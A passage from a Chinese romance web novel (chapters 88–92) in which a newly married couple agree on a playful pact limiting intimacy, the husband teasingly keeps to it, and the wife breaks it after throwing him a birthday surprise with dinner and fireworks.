而且,他还会说“阿荷昨天晚上辛苦了”,然后每天亲自开车送她去荷月坊。到了门口,又会半哄半骗缠着她吻好久才放她下车。
庄别宴看着伏在他胸前小声喘气的人,眼底爱意满满,抬起她的下巴又想吻上去。
曲荷一巴掌轻轻挡住他的嘴,“好了好了,我要迟到了,你自己一个人亲吧!”
看着她慌忙逃下车的身影,庄别宴回味似的碰了碰自己的唇,低笑出声。
庄氏集团。
谭聪到了公司后,就感觉庄别宴怪怪的,他脸上的春风得意几乎藏不住。
这是有什么大喜事?
难道...庄氏版图又要扩张了?
谭聪带着一腔疑惑,进去和庄别宴确认日程。
他等在旁边,庄别宴却忽然松了松领带,“有点热。”
谭聪:“需要我把空调调低些吗?”
“不必。”
庄别宴说着就开始脱外套。
谭聪赶忙接过,却不经意瞥见老板衬衫领口旁那抹暧昧的红痕!
他瞬间僵住,眼神不知该往哪放。
正慌乱时,却对上了庄别宴意味深长的目光。
“看到了?”庄别宴语气听不出情绪。
谭聪头皮发麻:“没有没有!庄总,我....我什么都没看见!”
完蛋,死得更快了。
他会被灭口吗?
不要啊,他心爱的摩托车才刚收到啊。
可出乎意料,庄别宴只是淡淡瞥他一眼,什么也没说。
正好这时,秘书送咖啡进来。
庄别宴不知道是有意还是故意,又扯了下领带,那抹痕迹更加明显了!
谭聪眼睁睁看着秘书的眼睛瞬间亮了,眼底的八卦之魂熊熊燃烧。
谭聪:“......”
不是....妹子,你收敛点啊!
你看就看!嘴角能不能别翘那么高啊?
他赶紧使眼色,秘书这才憋着笑退出去。
门刚关上,外面就传来压抑的小声惊呼。
谭聪无语,看来公司的八卦群怕是又要炸了。
庄别宴像是什么也没察觉到,修改完日程后吩咐:“下午五点半后的行程改期,我要去接太太下班。”
“好的,庄总。”
傍晚,迈巴赫准时停在荷月坊门口。
庄别宴站在车门旁,看见曲荷出来,立刻走上前自然地去搂她的腰,想低头索吻。
曲荷却灵巧地躲开,伸出指尖戳了戳他的胸膛,故作严肃:“庄先生,我觉得我们不能继续这样下去了。”
庄别宴顺势握住她的手指,放在嘴边亲了亲:“哦?那曲小姐有什么想法,说来听听?”
第88章 约法三章
曲荷被他这句话问得耳根一热,却还是强装镇定地清了清嗓子。
她伸出三根手指,“庄先生,鉴于近期某些活动频率过高,严重影响本人的创作精力,我提议,我们需要约法三章。”
自从两人做了那事后,庄别宴一整个精神状态以及情绪非常之高昂。
而她那天早上说的“一般般”似乎成为了一种魔咒,他每次都会借口说“看看这次有没有进步”然后理直气壮的拉着她再次沉沦。
这男人学习能力和钻研精神实在太强太可怕,掌握技巧后更是疯狂。
有时候两人明明好好的在沙发上各自玩手机,互不打扰,然后一个无意间的眼神碰撞,空气就变了味,然后开始天雷勾地火,一发不可收拾。
男色误人,诚不欺我!
曲荷决定约法三章!
听到她的话,庄别宴挑了下眉,眼底漾开笑意。
他非常配合地握住她竖起的三根手指,包裹在掌心:“愿闻其详,庄太太。”
曲荷努力忽略他指尖传来的温热触感,“第一!未经我明确同意,不准....不准进行夜间友好交流活动!还有平时也要保持距离!”
庄别宴若有所思点头,“好。尊重太太意愿是首要原则。”
他答应得这么爽快,曲荷反而愣了一下。
她狐疑地看了他一眼,继续提出第二条:“第二,工作日要节制!尤其是早上,不准耽误我上班!”
“合理。”
庄别宴又点了点头,表情正经地像在听什么千万价值的合作汇报,“确保庄太太的事业顺利发展也很重要。”
“第三....”曲荷想了想,“暂时还没想到,想到再补充!总之,你要严格遵守!”
“没问题。一切都听太太的。”庄别宴笑着应下,牵起她的手走向副驾。
曲荷看着他的背影,问:“你真的同意了?这么听我的话?”
庄别宴:“听老婆话会发财。家里你最大,我不听你听谁的?”
曲荷被他唬的一愣一愣的。
“那为了庆祝我们达成共识,晚上回家我给你做你最爱吃的话梅排骨,先去超市买食材?”
他的反应太过正常,正常到甚至堪称人夫模范,但有点太不正常了!
曲荷心里反而生出一种不真实的错觉。
难道之前那个不克制索求无度的人是庄别宴的第二人格?
到了超市,庄别宴推着车,开始认真地挑排骨和话梅,甚至还破天荒地给她买了杯奶茶。
曲荷咬着吸管跟在他后面,看着他的背影,心里开始反思自己是不是有点小题大做了。
可在结账的时候,看到庄别宴非常自然地,从收银台前面的货架上拿了两盒某知名品牌的超薄款后,她心里那个反思又瞬间消失了。
狗男人!
瞧瞧他这淡定样,不知道的还以为随便选了两包盐呢!
曲荷上前压低声音:“你拿这个干嘛!不是说好约法三章了吗!”
庄别宴一脸无辜地看向她,语气坦然又真诚:“备着。万一太太哪天同意了呢?有备无患,总不能让太太失望。”
曲荷:“.......”
好好好!他说得太过理所应当,曲荷一时无言以对。
接下来几天,庄别宴的执行力堪称典范。
他严格履行了约法三章条约,收敛了所有逾矩的行为。
但他还是和之前一样,没有特殊情况下会每天接送她上下班,早安晚安吻也没有少,但都是轻轻一触即分,好像只是在完成一个必要的仪式。
到了晚上睡觉的时候,他也只是非常温柔地抱着她,非常规矩不乱动。
刚开始那两天,曲荷确实觉得轻松,享受着这难得的清静。不用每天晚上被他折腾,睡眠质量显著提升,早上起来也不会酸痛。
她觉得自己的决定英明无比,甚至有些暗暗得意,觉得自己终于拿捏住了庄别宴。
但很快,她就觉得不太对劲了。
庄别宴不再像以前那样动不动就把她拉进怀里深吻,也不再用那晚一样滚烫带着欲望的眼神来看她,晚上睡觉抱着她的时候,明明烫得厉害,却规矩得像块木头。
有时候两人不小心稍微靠近了些,曲荷还没反应过
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来,他就非常“绅士”地退开了,然后笑着说:“保持安全距离,以免我失控。”
曲荷:“......”
他越这样,曲荷反而不适应了,心里像有小猫爪子在挠。
晚上,曲荷洗完澡躺在床上看手机。
浴室水声停了,庄别宴披着水雾出来,他的睡衣领口扣子没有系好,顶上两颗扣子开了露出了锁骨线条。
他随意擦着半干的头发走过来,拿起桌上的玻璃杯,仰头喝水,喉结随着吞咽滚动,水珠顺着脖颈滑进去,性感得要命,看得曲荷喉咙直发紧。
曲荷看得有些出神,但不知道是自己的目光太过显眼还是什么,他突然低头看了过来。
两人视线相撞,他勾了下唇,晃了晃水杯。
“要喝水吗?”
“不用!你喝吧!”
曲荷猛地回神,以为自己的偷看被发现了,心虚地大声拒绝,然后转头手脚并用撑开被子,一个滑溜躺下,被子盖过头睡觉。
这辈子你和水过去吧!
这天晚上,曲荷洗完澡,特意换上了一条真丝睡裙,柔软地贴合着她的腰线。
她走出浴室,看见庄别宴靠在床头看平板,听到动静,他抬起头,目光在她身上停留了一会儿。
曲荷看到他喉结滚动了一下,她正准备说什么,可下一秒他就若无其事地移开了视线。
“洗好了?头发要吹干,别着凉。”
说完,他还把空调温度调高了两度。
曲荷:“......”
简直就是抛媚眼给瞎子看!
还没到三十岁,眼神就这么差了?
曲荷站在原地,看着他又把视线投到了平板上,心里那点隐秘的期待又落空了。
一种难以言喻的挫败和气闷涌上心头!
她磨磨蹭蹭地爬上床,然后往他那边挨了一点,两人肌肤相贴。
可他却像是什么都没有感觉到一样,只是伸手帮她掖好了她那边的被子,然后在她额头落下一吻:“晚安,阿荷。”
说完,他就关灯,躺下了。
躺下了?
就,躺下了???
第89章 请问,我可以吻你吗
房间陷入黑暗。
曲荷却怎么也睡不着,胸口像是堵着一口气。
尤其是听着身边人均匀的呼吸声,心里那点无明火越烧越旺。
她终于忍不住,翻了个身,面向他。
曲荷小声开口,带着自己都没察觉的委屈:“庄别宴.....你睡了吗?”
“还没。”他的声音听起来很清醒。
“你...是不是在生我的气?”她犹豫着问。
“没有。”
他回答得很快,甚至带着一丝轻笑,“怎么会生你的气,只是在遵守约定而已。”
“哦....”曲荷抿了抿唇,心里更不是滋味了。
遵守约定?需要遵守得这么彻底吗?
你还真是信守承诺啊,芝麻信用一定在八百以上吧!
沉默在黑暗中蔓延,带着些许尴尬和燥热。
曲荷心一横,又往他那边蹭了蹭,几乎整个人都挨上去了。
这时,她听到旁边传来了一声极轻笑,在深夜里格外清晰。
庄别宴转过身面对她,手臂一伸,把她揽进怀里。
曲荷一愣,还没反应过来,就感觉他微微低下头,近得几乎要贴上她的唇。
他语气认真,“约法三章第一条。那么,请问庄太太,我现在可以吻你吗?”
他的语气太正式,太礼貌,还带着一份刻意的生疏。
曲荷被他这突如其来的请示弄得脸颊发烫,心跳却不由自主地加速。
还怪有礼貌的。
行吧~~
她故作矜持地微微点了点头,声音轻得几乎听不见,“....嗯,可以。”
得到允许,庄别宴低下头,轻轻的吻落了上来。
曲荷下意识闭上眼睛,就在她准备迎接一个久违且缠绵的吻时,他就只是轻轻碰了下就分开了。
如同蜻蜓点水,甚至比早安晚安吻还要短。
分开了?!
没了?
不是...就没了?
曲荷懵了,她睁眼,在昏暗的光线下对上他明显含笑的眼眸。
他就这样结束了?
她心里那点刚刚被勾起的火苗,不上不下地悬在半空,痒得难受。
“好了,谢谢太太批准,那晚安。”
庄别宴像是完成了某项任务,心满意足地揉了揉她的头发,抱着她再次闭上了眼睛,开始入睡。
曲荷僵在他怀里,一口气堵在胸口,吐不出来又咽不下去。
她简直不敢相信!
他就.....就这么完了?
曲荷咬着唇,又气又恼,难道要她说“你亲得不够,再来一次”吗?
她还要不要面子了!
她看着旁边已经安心入睡的罪魁祸首,只能气鼓鼓地转了个身,背对着他,憋着一股闷气闭上了眼。
接下来的几天,几乎成了那晚的复刻。
那晚后,庄别宴有时候会跟她说两句情话,帮她吹头发的时候手指也会装作不经意划过脖颈,还会在两人窝在沙发里看电影时,或者快要临睡前,他会突然问她:“庄太太,现在可以吻你吗?”
每一次,曲荷都会被他那本正经的请示撩得心头一跳,然后故作镇定地同意。
但每一次!他都只是点到为止,一触即分,绝不越界,留下心痒难耐的她独自在内心咆哮。
曲荷甚至冒出了一个阴暗的猜测,她觉得庄别宴不是在守约,而是在用一种更高级,更折磨人的方式在报复她!
这个男人,就这么能忍?千年的忍者神龟都没他厉害吧。
终于,在某次,她被一个比舔冰淇淋还要短暂的晚安吻再次勾得心神不宁后,第二天,曲荷还是没忍住向她的狗头军师司月发出了求救信号。
电话那头,司月听完她的控诉,笑成鸡叫:“哈哈哈哈!学姐,庄总这是跟你玩心理战呢!高手啊这是!”
“你别笑了!快给我想想办法!”曲荷羞恼道。
司月止住笑,压低声音,开始出主意:“这还不简单?他这不是跟你玩若即若离吗?你就给他来个直接的,穿上我上次送你的秘密武器!我就不信庄总还能把持得住,保证让他什么约定都忘得一干二净,直接化身为狼!”
曲荷听着电话里她那声狼嚎叫,嘴角抽搐了下。
太冒昧了吧姐妹。
秘密武器?
她想起被自己塞在衣柜最底下的那两件布料少得可怜的衣服,当即就拒绝了,“你这是什么馊主意?那个....怎么能穿啊?”
“哎哟我的好学姐,这都什么年代了!夫妻情趣嘛!听我的,穿上往她面前一站,我就不信他还能忍!”
司月还在那头煽风点火,越说越起劲。
曲荷面红耳赤地挂断电话,心跳却因为司月的提议而
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莫名加速。
她鬼使神差走到衣柜前,打开最底层的抽屉,看到了那个熟悉的粉色盒子。
她打开,从里面拿起那件淡粉色的,薄薄的蕾丝边,然后又勾起了另一件大红色的单薄布料。
只是想象一下穿在身上的样子,曲荷的脸就热得能煎鸡蛋了。
不行不行不行。
她赶紧把衣服扔了回去。
“算了算了....”
区区男色罢了,她可是坐怀不乱的中华女子,雌鹰一般的女人,拥有钢铁一般的意志力.....
“在看什么?”
她正嘀咕着,就听到庄别宴的声音突然从身后传来。
曲荷被吓得手一抖,贼心虚般猛地合上抽屉,转过身,后背紧紧抵着衣柜门,结结巴巴地道:“没....没什么!就.....整理一下衣服!”
庄别宴看了眼她泛红的耳根还有脸上不自然的红晕,然后又瞥了一眼她身后紧闭的抽屉,眼底闪过一丝了然的笑意。
但他什么也没问,只是若无其事地点点头:“嗯。”
他说着就迈步上前。
曲荷看着他手伸向了衣柜,一个雌鹰展翅拦在了他前面,“你要干嘛?”
他刚才是不是看到了?
庄别宴挑眉,慢慢俯身。
曲荷心一颤,脑袋一片空白。
可是,庄别宴的手却从她手下穿过,然后轻轻一扣,打开了衣柜门,“拿衣服,洗澡。”
曲荷:“.....哦。”
她往边上挪了一步,看着庄别宴那好换洗衣服后,转身出门去浴室洗漱。
他全程都在拿衣服,根本没有看其他地方一眼,更没碰她一下。
曲荷看着他的背影,心里那点刚刚被司月鼓动起来的勇气,瞬间泄了个干净。
算了算了,这种东西,她实在没脸穿。
当晚,庄别宴依旧恪守男德,给了她一个晚安吻后,再无动作。
曲荷窝在他怀里,借着窗外的光线偷偷打量他。
这个男人,明明想要得要命,可偏偏能忍到这种地步,他到底是怎么做到的?
曲荷感到一阵莫名的不服气。
可她更没有想到,说好要克制的是她,定下约法三章的人是她,可最后也是她先违的约。
就在庄别宴生日那天,她先一步丢盔弃甲,溃不成军......
第90章 生日惊“喜”?
庄别宴生日这天,曲荷制定了一个自以为堪称完美的生日惊喜计划。
她提前订好了望江阁的景观位,又精心选好了礼物,甚至还策划了晚上的神秘安排。
庄氏集团。
办公室。
从中午开始,庄别宴就察觉到谭聪的不对劲,行为堪称异常诡异。
他总是借故在办公室门口晃悠,好几次开门都能看到那抹熟悉的衣角。
庄别宴起身,刚出门,他就嗖的一下从拐角出现,一脸紧张:“庄总!您要去哪儿?我来帮您!”
庄别宴淡淡瞥他一眼。
谭聪自知失态,硬着头皮找补:“我.....我的意思是,您需要什么,吩咐我就行。或者,需要我帮您冲杯咖啡吗?”
庄别宴视线在他脸上停留了几秒:“去洗手间。”
谭聪:“......”
庄别宴:“你今天很闲?”
谭聪脖子一缩,赶紧摇头,“不闲,我这就去忙!”
尤其到了临近下班时间,谭聪更是就差驻扎在了电梯口,眼睛眨都不眨一下的盯着庄别宴办公室门。
庄别宴推门出来时,正好对上他的目光。
谭聪一个大步上前,“庄总!您...有事吩咐吗?”
庄别宴没说话,往电梯口走了两步,谭聪脸都快白了。
可就在他快走进电梯时,又扭头原路返回,“进来。”
谭聪明白这是在叫他。
他知道自己的反常举动一定被庄总察觉到了,脑袋转了一圈,准备好了各种应对老板盘问的说辞。
然而,庄别宴却没按常理出牌,开口的一句话直接打的他措手不及:“太太让你做什么?”
谭聪瞬间卡壳:“您......您怎么知道?!”
庄总连这个都猜到了?
庄别宴唇角弯了一下。
早上出门前,曲荷那些不经意的打探,还有那些闪烁的眼神和小动作,早就把她出卖得一干二净。
这几天受条约束缚,难熬的又岂止是她,他自然也不好受,但....钓鱼讲究的是耐心,一点点放饵,才能让小鱼彻底放下戒备。
既然他的阿荷想玩惊喜,他自然乐得配合,并且....非常期待。
他看着谭聪,眼神仿佛能洞穿一切。
谭聪在这强大的注视下,心理防线逐渐崩溃,立刻全盘托出:“太太只是吩咐我,务必让您晚点离开公司,其他的....一切等她消息为准。”
“就这些?”
“千真万确!”
谭聪发誓,“本来不该瞒着庄总,但您之前说过,太太的要求是第一位.....”
他机智地搬出“圣旨”。
庄别宴点了点头,接受了这个解释。
谭聪刚松半口气,就听到他话锋一转:“你什么时候加的太太微信?”
谭聪:“....????”
庄别宴:“她很信任你?你们很熟?”
谭聪:“....”
他的语气平淡,但里头的醋意却让人难以忽略。
谭聪内心哀嚎。
不是吧老板!这种醋也吃?
而就在这时,救命的手机铃声响起,是曲荷打来的电话。
谭聪看到了救星,赶紧把手机递过去:“是太太。”
庄别宴抬了抬下巴,示意他接。
谭聪赶紧照办,接通电话,点开免提,语气恭敬:“太太?”
曲荷的声音从扬声器里传出来:
“谭特助,我到马上楼下了!但是刚才过马路的时候看到正门口没车位了,我得绕到侧门去停。你千万千万拖住庄别宴,别让他下来哦!等我消息!”
谭聪瞥了一眼老板,硬着头皮答:“好...好的。”
曲荷:“再见!等我消息!Over!”
谭聪:“......Over。”
电话挂断,他抬头就看到庄别宴微微上扬的嘴角,显然心情极佳,但在他看过去时,那笑意又迅速被压下,恢复了平日的清冷。
他问:“门口的车,是谁的?”
谭聪立刻会意:“我马上就去解决!”
他像一阵风似的出去,又像一阵风似的跑回来。
谭聪气喘吁吁:“庄总,搞定了!正门口的一排车位都清出来了,太太随时可以停。”
庄别宴满意地“嗯”了一声。
没过多久,曲荷的电话又打了进来。
“谭特助!门口突然空出来好多车位,我已经停好啦!对了,你们大概什么时候下班?”
谭聪看向庄别宴,接收到眼神指令,立刻回答:“我们....马上就下班了!”
曲荷不疑有他:“行!那我在楼下等他!等他们走得差不多了,你就带庄别宴下来吧!”
电话挂断后,谭聪很快把这个消息发了下去。
于是,庄氏集团全体员工意外收获了一个提前下班的福利日。
庄氏集团楼下。
曲荷坐在车里,看着陆陆续续从大楼里出来的员工。
大家脸上都挂着掩饰不住的笑意,不见白天当牛马的疲惫。
曲荷感叹:“同一个世界,同一个打工人啊。”
约莫几分钟后,员工都快走完了,那道熟悉身影终于出现在了门口。
庄别宴曲换上了一套新西装,和早上出门前那套深灰色的不一样,现在他身上穿的是更显矜贵的墨蓝色。
而且西装领上,别着的正是她上次送他的胸针。
她还在想怎么过去,却看见他突然停下脚步,目光转向了另一侧。
机会来了!
曲荷立刻抱起副驾上的紫色德国鸢尾,从花坛另
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一边轻手轻脚绕到他身后。
屏住呼吸,拍了拍他的肩头。
在他回头的瞬间,一个跳跃蹦到他面前,“嘿!庄别宴,生日快乐!”
他果然被惊到了,瞪大了眼往后退了两步,像是被吓了一跳。
曲荷心里的小人得意地叉起了腰。
完美!和预想中的反应一模一样!
“是不是没猜到我会来?”她扬起下巴,话里带着小小的炫耀和期待。
“嗯,没想到。”庄别宴接过她手上的花,目光却一直没从她脸上移开,“这个生日礼物很惊喜。”
曲荷打量着他的表情,故意问:“是吗?可我怎么觉得,庄总你好像也就...一般般惊讶?”
庄别宴眼底掠过一丝极快的笑意,很快换上认真的表情。
他微微俯身,凑近她。
熟悉的气息靠了过来,曲荷以为他要亲她,都已经准备好闭眼了。
可他只是笑了下:“我内心震撼,无以言表。”
曲荷被他的气息呵得耳根发痒,“好吧。”
她轻轻碰了碰那枚胸针,审视他:“怎么突然换了件衣服?还特意戴上了这个?庄先生,你该不会是提前知道了什么吧?”
庄别宴看着她作乱的手指,面不改色,“谭聪不小心把咖啡泼衣服上了,不得已换的。”
曲荷想起今天全靠谭聪的帮忙打掩护,赶紧帮这位功臣说好话:“谭特助应该是手滑了,肯定不是故意的,你没把他怎么样吧?”
庄别宴的目光朝楼上某个方向瞥了一眼,随即收回。
他慢悠悠开口:“庄太太看起来对别的男人很关心?你们什么时候这么熟了?”
曲荷心里咯噔一下,心虚地摸了摸鼻子,眼神飘忽:“没有啊!绝对没有!我就是随口一问!”
她赶紧挽住他的胳膊,生硬地转移话题,“哎呀,快上车!我给你准备的生日惊喜可不止这些!”
庄别宴任由她拉着,满眼带笑看着她泛红的耳尖和小动作。
他当然会配合她的一切惊喜。
因为最大的惊喜,就是她本身。
上车后,曲荷一边系安全带一边问:“你们公司下班这么早的吗?”
庄别宴语气自然:“嗯,今天庆祝老板过生日,提前下班。。”
曲荷被逗笑:“哇,那你的员工岂不是要天天祈祷你过生日?”
庄别宴挑眉,“那你可能需要每天来送花了。”
他侧过头看她,眼神温柔:“准备带我去哪儿,庄太太?”
曲荷得意地扬起小脸:“庄先生,今晚你就放心把自己交给我吧!行程保密!”
庄别宴:“遵命!”
车子停在望江阁门口,曲荷下车后非常有仪式感地跑到副驾驶给他打开车门,“请吧,大寿星!”
第91章 阿荷,你违约了
预定的包厢临着江,景色宜人。
吃饭的时候,曲荷本着寿星为大的原则,在服务员刚把汤端上来后,就自告奋勇拿起碗给他盛了半碗汤,邀功似的说:“寿星先喝。”
庄别宴接过汤碗,碰到了她软软的指腹。
他低头尝了口,“嗯,很好喝。”
然而寿星优先的待遇没持续多久。
在螃蟹上桌后,曲荷刚拿起蟹钳,就被庄别宴按住了手。
“我来。”
他说着拿起蟹八件,没一会儿就把完整的蟹肉剔出来,放进她面前的小碟里,还细心地浇上姜醋汁。
“你自己也吃啊。”
曲荷嘴里塞着蟹肉,含糊不清地说。
“你先吃。”
他头也不抬,又拿起一只母蟹,专注地挑着蟹黄。
皮皮虾上桌的时候,曲荷刚剥掉一只虾的外壳,庄别宴已经剥好了好几只,虾肉在盘里码得整整齐齐。
她看着他手上熟练的剥虾动作,忽然觉得这场景有点不对劲。
今天明明是他的生日,怎么倒成了她被全方位照顾?
她戳了戳盘子里的虾,“庄别宴,今天是你过生日诶,怎么轮到你照顾我了。”
他抬眸看她,眼底带着笑意:“寿星最大的愿望,就是看着你吃开心。”
说着,又夹了一筷子她爱吃的芦笋放进她碗里。
曲荷被他说得心头一暖,夹起一只虾递到他嘴边:“那你也得吃。”
他张口咬住,牙齿轻轻碰到她的指尖,酥麻麻的触感顺着手臂爬上来。
曲荷猛地缩回手,脸悄悄红了。
一顿饭吃得慢悠悠,曲荷靠在椅背上揉着肚子,一脸满足。
庄别宴抽了张纸巾,看着她像只被顺**的猫,笑道:“好吃吗?”
曲荷:“好吃。”
她默默在心里安慰自己,没事没事,安排了这么多惊喜,享受一下服务都是她应得的!
饭后,她按了下呼唤铃,侍应生很快推着一个生日蛋糕和几个礼物盒走了进来。
包厢灯光调暗,曲荷给他点上蜡烛,烛光摇曳,暖黄的光晕在两人脸上铺开,明明灭灭。
曲荷催促:“快许愿!”
庄别宴没许,只是绕到她身后拥住她,包住她的手一起合十举到胸前。
“一起许。”
曲荷心乱了半拍。
庄别宴缓缓开口,声音缱绻:“我的第一个愿望,希望阿荷永远平安喜乐。”
曲荷没想到他的第一个愿望居然和她有关。
她轻轻撞了一下他的肩膀:“哪有这样的,生日愿望要关于自己才灵验!再说一个!”
庄别宴:“那第二个,希望明年,后年,大后年,往后的每一年生日,我们都能一起过。”
不是惊天动地的誓言,只是平淡的期许。
曲荷撇了下嘴,低喃:“这有什么难的。”
庄别宴低头,下巴蹭了蹭她的发顶,“第三个愿望...”
曲荷侧身看他:“第三个愿望不要说出来,要藏在心里,这样才更容易实现。”
庄别宴怔了下,点点头,“好。”
他重新握紧她的手,闭上眼睛,神情是前所未有的虔诚和专注。
他对着或许存在的神明,郑重地一遍遍地默念:“希望我的阿荷,有一天能够爱上我。”
不是习惯,不是依赖,不是感动,而是真真切切的,像他爱她那般,爱上他。
许完愿,他睁开眼,对上曲荷好奇的目光,他笑了笑,“想知道我许了什么吗?”
曲荷:“不可以说,说了就不会实现了。”
庄别宴抓着她的手在嘴边亲了口,“我从来不许实现不了的愿望。”
曲荷:“这么有信心?”
庄别宴:“有。”
曲荷从他怀里挣开,拿起边上的几个礼物塞给他:“那快拆礼物!”
庄别宴在她的注视下一个个拆开,一对精致的珐琅袖扣,一枚领带夹,一支名牌钢笔,以及一个看起来就价格不菲的打火机。
曲荷在旁边看着他拆礼物。
这几天,她实在想不出送什么最能让他惊喜,干脆采用了最朴实的题海战术,这么多礼物总有一款能戳中他心巴上吧。
曲荷探头:“怎么样?喜欢吗?不知道你喜欢什么,就..每样都挑了点。喜欢都留下!”
她学着网络上那些霸总台词说着。
庄别宴压下嘴角的笑意,“喜欢。”
曲荷刚松了口气,就看到庄别宴拿起那枚打火机,在手上把玩了一下。
他低笑出声:“谢谢阿荷,礼物我很喜欢。但是....”
曲荷:“....怎么了?”
庄别宴:“看来庄太太对我了解得还不够深入,你老公,不抽烟。”
曲荷:“!!!”
完蛋!她把这个忘记了!
她一把抢过打火机,脑子飞快转动,急中生智:“那...那这个不算!我换一个礼物!”
她想了想,眼睛一亮,凑近他,“庄别宴,我送你一个愿望好不好?以后你可以凭这个愿望,让我为你做一件事!只要不违法乱纪,不违背道德,我都答应!”
庄别宴挑眉,对这个提议表现出极大的兴趣:“哦?任何事?”
曲荷点头:“嗯!”
庄别宴笑着把她搂回来,“这个礼物,我很喜欢。”
两人后面吃了一点蛋糕,曲荷看着时间,拉起庄别宴赶到下一场。
地方不远,就在隔壁商业区顶楼的露营地。
上楼前,曲荷拿出准备好的眼罩,蒙住了庄别宴的眼睛,然后牵着他的
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手,引着他往前走。
“小心台阶,慢一点,马上就到啦!”
庄别宴非常放心地把自己全部交给她。
走到预定位置站定,曲荷踮起脚尖,凑到他耳边,“庄别宴,生日快乐。”
话音落下的瞬间,她摘下了他的眼罩。
与此同时。
“咻!嘭!”
黑夜被点亮,绚烂的烟花绽放在天际,像一场绝美的流星雨。
庄别宴愣住了,心跳止不住加快。
所有的精心策划,所有的小心思,都化作汹涌的爱意,将他牢牢包裹。
他转过头,看着身旁的曲荷,她仰着头,弯着嘴角,眼里盛满了细碎的光。
“喜欢吗?”曲荷在烟花声中大声问他。
声音被风送过来,庄别宴没有回答,直接伸手把她拥入怀里。
一下子距离这么近,他的气息温柔地把她笼罩着。
曲荷抬头,看向他的眼睛,“生日快乐!庄别宴!我听留月姐说你每年生日都会去看烟花,那今年这场烟花,就让我给你放吧!”
庄别宴抬手碰了碰她的脸,看着她瞳孔里倒映的自己,还有漫天还未散尽的烟花,欲言又止。
他几乎就要把一切都脱口而出,但最后却只是抬起她的下巴,吻了上去。
曲荷愣了一下,闭上眼回应。
心里那点约法三章,早就和烟花一起炸开了。
算了,今天他是寿星,他最大。
一吻结束,两人气息都不稳,眼神拉丝,空气中弥漫着浓浓的暧昧和渴望。
回家路上,车里很安静。
曲荷偷偷看他,发现他也在看她,她不自觉移开眼,耳朵悄悄红了。
刚进门,庄别宴就抵着门把她圈在怀里。
他的呼吸有点沉,但还是克制地问了句:“阿荷,我现在,可以亲你吗?”
曲荷被他的明知故问撩得不上不下。
刚才都没问,现在想起来问了?
她假装镇定,红着脸点了下头。
他的吻落了下来,带着几分隐忍许久的渴望,逐渐灼热。
曲荷被吻得晕头转向,就在她以为快失控时,他却忽然松开了。
两人额头相抵。
庄别宴:“够了。”
曲荷手抓着他的衣服下摆,喘着气恢复,心里被撩得不上不下的。
积压了数日的渴望和此刻被刻意挑拨起的情绪瞬间决堤。
曲荷脑子一热,什么约法三章,什么矜持,一下子全都抛到了脑后。
她踮起脚尖,双手搂住他的脖子,主动加深了这个吻。
庄别宴任由她亲着,甚至还稍稍弯了下腰。
两人短暂分开。
他低笑着,抬手碰了碰她发红的耳根,话里带着几分得逞和危险的意思,“阿荷,你违约了。”
第92章 违约,要接受惩罚。
所有的克制和伪装在这一刻全然不见。
庄别宴化被动为主动,一把将她打横抱起,快步走向卧室。
曲荷被放倒在床,气息不稳地看着身上同样呼吸急促的男人。
曲荷也是豁出去了,瞪了他一眼,理不直气也壮说:“违约就违约,那又怎样?”
庄别宴帮她理了下发丝,“不怎么样,但是....”
“违约的人....”
他俯身,含住她的耳垂,声音沙哑得不成样子,“要接受惩罚。”
听到惩罚两个字,曲荷身体下意识地颤了一下,心里有一种不祥的预感:“什....什么惩罚?”
庄别宴在她耳边低声说了几个字。
曲荷瞬间明白了他说的什么。
她的脸爆红。
原来他早就看到了!
她埋在他怀里小声拒绝:“不要...不想穿...”
“哦?”
庄别宴挑眉,却并不打算放过她。
他捏着她的下巴让她抬头,慢悠悠地提醒,“那...我就要使用我的生日愿望了。”
庄别宴故意拖长语调,“我的生日愿望是...”
曲荷立刻捂住他的嘴,“不许说那几个字!”
庄别宴低笑着抓住她的手,吻了吻她的掌心。
最终,他到底还是没能亲眼见到那衣服穿在她身上的样子。
但他用另一种更直接的方式,完成了对违约者的惩罚。
直至夜色深沉....
......
所谓的约法三章,在那晚后,两人都心照不宣默认已经不作数。
曲荷没有再主动提起,庄别宴更不会再提。
抽屉里的超薄款以一种稳定的频率按时补货。
早上,曲荷一边刷手机一边吃早饭。
庄别宴坐在他对面,把剥好的鸡蛋放到她面前的碗里,“今天店休?”
曲荷点头:“嗯。”
庄别宴:“那我让试礼服的人今天上门?”
曲荷抬头看他,一脸不解:“试礼服?什么礼服?婚纱吗?”
她只能想到婚礼穿的衣服,可他们的婚期不是定**底吗?上次不是说好等过段时间两人都有空了再去试婚纱吗?
庄别宴无奈轻笑,“是宴会礼服。不是答应了明晚陪我参加拍卖会吗?”
曲荷眨了眨眼:“...?”
莫?
她怎么不知道?
什么时候的事?
庄别宴一看她茫然的小表情就知道她又把事忘了。
“昨天晚上睡觉前和你说的。不过,如果阿荷急着试婚纱,我也可以一起安排。”
昨天晚上?
曲荷回想了一下,好像昨天晚上他好像是说了什么事情,但那个时候他们在...
脑海里闪过几个暧昧的画面。
庄别宴这人也是个腹黑的,每次都会在一些特殊时候逼着她答应一些事情。
“想起来了吗?”
庄别宴挑眉问,意味深长笑了下,“没想起来的话我可以帮忙回想一下,昨晚我们好像是在浴室里,你当时...”
“想起来了!想起来了!”曲荷慌忙打断,捞起碗里的鸡蛋起身一把塞到了他嘴里,成功阻止了他后面那些少儿不宜的话。
难怪大家都说婚后才能看清一个男人的真面目。
曲荷算是感同身受了,庄别宴根本就和外界传的什么“庄家玉树,温润如玉”一点都不一样!
时间相处越久,他的腹黑本质暴露得就越彻底!
看似谦谦君子,矜贵得体,可只有她知道这人私下有多“恶劣”!
曲荷甚至开始怀疑庄别宴是不是还有很多事都在瞒着她。
安排试礼服的人下午上门,吃完早饭后曲荷就约着司月出门逛街。
虽说参加宴会所有事宜庄别宴全都揽下了,但毕竟是第一次陪他参加这种正式场合,还是以庄太太的身份,曲荷多少还是有些紧张。
她拉着司月去做了个全身护理,刚出门差点撞上两个人,还好司月抓着她,不然差点就撞到边上的尖刺摆件了。
曲荷站稳身子,她还没说什么,就听到了对面尖锐的骂声:“走路能不能看着点,不知道要让孕妇吗?”
熟悉的声音。
抬头撞进了一双熟悉又陌生的眼睛。
曲荷好一会儿才反应过来这是乔眠。
乔眠带着口罩,下半张脸挡着严严实实,只露出一双眼睛,眉眼间流露出几分疲惫。
算算时间,她已经有五六个月了,可是肚子却看起来有七八个月那么大。
司月在看到乔眠后立马怼回去,“该看路的人是你吧!毕竟你眼神不好,才能看上这种渣男货色。“
说的自然是她旁边的钱昭野,从刚才开始他的目光一直盯着曲荷看。
